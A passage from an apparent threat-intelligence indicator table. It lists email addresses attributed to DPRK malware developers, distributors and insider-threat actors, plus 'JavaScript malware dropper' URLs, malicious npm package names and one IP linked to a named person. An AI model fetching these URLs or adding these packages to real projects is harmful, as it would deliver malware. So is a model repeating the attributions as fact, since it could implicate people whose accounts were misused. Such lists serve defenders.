| Year in Review |\n| `paniker1110@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `walterjgould77@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `supernftier@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bohuslavskyir@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `artizjusz11@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bartonfratz@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cryptodev26@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `deinsulabasil@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `elsaadanifaiek@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `felipe.debarros@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `geordiecuppaidge684@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `greatbusinessman517@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `jhmnuykbvgftrss@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kainmcguire@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kimberlysunshine137@yahoo.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `konovalov1256@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kvashinalexander@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `markstevemark85@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `oleksandrbokii963@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `paniker1110@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `rubenbolanos19733@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `simpsonkeith686@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `sonniehutley5@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `tagi238761@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `vlulepet9@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cnova.business.en@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `danielmcevily.business918@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jaimetru003@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `daysabethtederstz7533@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thiagocosta199295@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cptrhzv09@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `chainsaw1107@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mutsabsaskajgig0f@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `snowl3784@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dieterwang@proton.me` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cesarpassos4808@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lazar.master.0204@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lujancamryn405@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harryjason19880502@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `fraserhutchison1@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `stovbanoleksandr14@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ramirezhector9299@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mimoriokamoto@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `wilson.wen2145@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonfissionawgyi08293@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `olelangaard9@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mirandacunningham1993@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jerryjames1997@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `caryphillips.business727@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1103@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1024@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1020@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business0987@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alphabrownsapon70555@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `welbykchamu4i72@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `eron4236@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reddixyxzh551438@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1112@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `richardcook.business93@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jamesgolden198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `erik423131@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alfredogomez1984126@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonharris198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xavieryetikqpir36636@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `marcello.armand.tf7@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `gabriel.sanchez255@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `aronlin712@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rickcarr1014@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `sallydunnet.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dr.md.hubert.business916@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tommyrole0301@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jbutton717@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lilian.rodrigues.re@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `andrewtilley.us@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `davidaheld.manager@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lovelysong0209@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `moreandmore082@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meirjacob727@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harry.work206@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `abdelrahman5520032019@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `karenhooi.cpa.cga.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `craigsmith93.business@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `paulodiego0902@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `faelanholtmdjld41341@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `encar.geric727510@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `irynalavreniuk38@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `melnikoleg995@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `opalinsigniagyprt29567@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thorneaustinngzsz52979@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `joshuataub3@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `itspeterszabo@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xylosmontagueujsvt83787@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ivicastojadin488@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996017@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `bryandev0418@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ruslanlarionov77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `superdev@outlook.com.au` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cristhianmartinezrom7@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `natasa.golubovic90@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `weili.walk@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `afaq91169@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mahmodghnaj1@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `look.as.united@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rochaevertondev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tabishhassan01998@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `temorexviashvili17@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vovalishcn77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996015@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `suryaedg88@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `maurostaver9@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `pleasemeup214@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vitalii214.ilnytskyi@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reactangulardev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `skyearth711@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `migueljose81234@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996010@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `blackwang104@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kagan.hungri@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `littebaby232355@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kenycarl92@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `arnas.tf7@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `nandawsu58@hotmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `magalhaesbruno236@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martytowne03@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peter@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martinez@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peterforward@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rick.cto@dantelabs.us` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tomgleeson92@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `huqyyitizomu@hotmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tracykevin5590@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seniorsky92@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meftaht531@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tapiasamjann@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `johnwatson2327a@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `donald.edler0626@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `chrisritter5272@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hs8179189@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dredsoft@proton.me` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `bloxdev1999@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `star712418@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jackson.murray.tf7@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hudsonramsey107@outlook.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `samjanntapia@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dyup58725@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `davidfernandez420@outlook.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `scottdavis8188@gmail.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `samjannt1211@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ahmed03010229@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hidranomagica@outlook.com` | email | malware | N/A | March 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jackson.blau.eth@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `agne09541@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `antontarasiuk0512@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `michael.dilks8500@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ignacioquesada127@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.cloud/api/service/token/792a2e10b9eaf9f0a73a71916e4269bc` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/1a049de15ad9d038a35f0e8b162dff76` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/7d6c3b0f7d1f3ae96e1d116cbeff2875` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/b2040f01294c183945fdbe487022cf8e` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://openmodules.org/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/106` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/212` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/81` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/823` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/99` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.mocki.io/v2/8sg8bhsv/tracks/errors/665232` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/159a15993f79c22e8ff6` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/62755a9b33836b5a6c28` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/b1f111907933b88418e4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/b68a5c259541ec53bb5d` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/c82d987dd2a0fb62e87f` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/d1ef256fc2ad6213726e` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/d4dfbbac8d7c44470beb` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/e6a6bfb97a294115677d` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/f4be0f7713a6fcdaac8b` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/f96fb4e8596bf650539c` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://astraluck-vercel.vercel.app/api/data` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://bs-production.up.railway.app/on` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://getApilatency.onrender.com/checkStatus` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://getpngdata.vercel.app/api/data` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://googlezauthtoken.vercel.app/checkStatus?id=S,T` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://ip-api-test.vercel.app/api/ip-check-encrypted/3aeb34a38` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://ip-check-server.vercel.app/api/ip-check-encrypted/3aeb34a37` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/4NAKK` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/8RLOV` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/CNMYL` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/DMVPT` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/E4YPZ` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/E7GKK` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/FM8D6` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/GLGT4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/L4T7Y` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/PCDZO` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/PQPTZ` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/WCXNT` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/XRGF3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/XV3WO` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jwt-alpha-woad.vercel.app/api` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://metric-analytics.vercel.app/api/getMoralisData` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://pngconvert-p0kl4fodi-jhones-projects-f8ddbcbe.vercel.app/api` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/linux?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/mac?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/windows?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://web3-metric-analytics.vercel.app/api/getMoralisData` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://zone-api-navy.vercel.app/api/ip-check/99` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `passport-google-auth-token` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `dotenv-extend` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `tailwindcss-animation-advanced` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `seeds-random` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `chai-jsons` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `dotenv-intend` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `preset-log` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `111.197.183.74` | ipv4 | insider | October 2025 | October 2025 | Originating IP address of Kil-Nam Kang | 1 |\n| `alancdouglas@googlemail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `alphatech1010@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `amitnyc007@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `anniegirl2023@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `appyleonardo77@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `awmango123@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `bowavelink@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `cpduran0622@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `docker1001@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `elvialc620@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `emilyvanessaaa@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `enrique122528@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `erasmusmadridtrops@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `ericdoublin1111@yahoo.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro1@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro1@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `fangshan2019@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `goldstar0906@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `gtracks.onelink@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `happycoder1111@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `happyleonardo77@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `hittapa9@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `housinginmadrid@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `imadjeghalef@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `imranwork44@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `indulgenight@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled 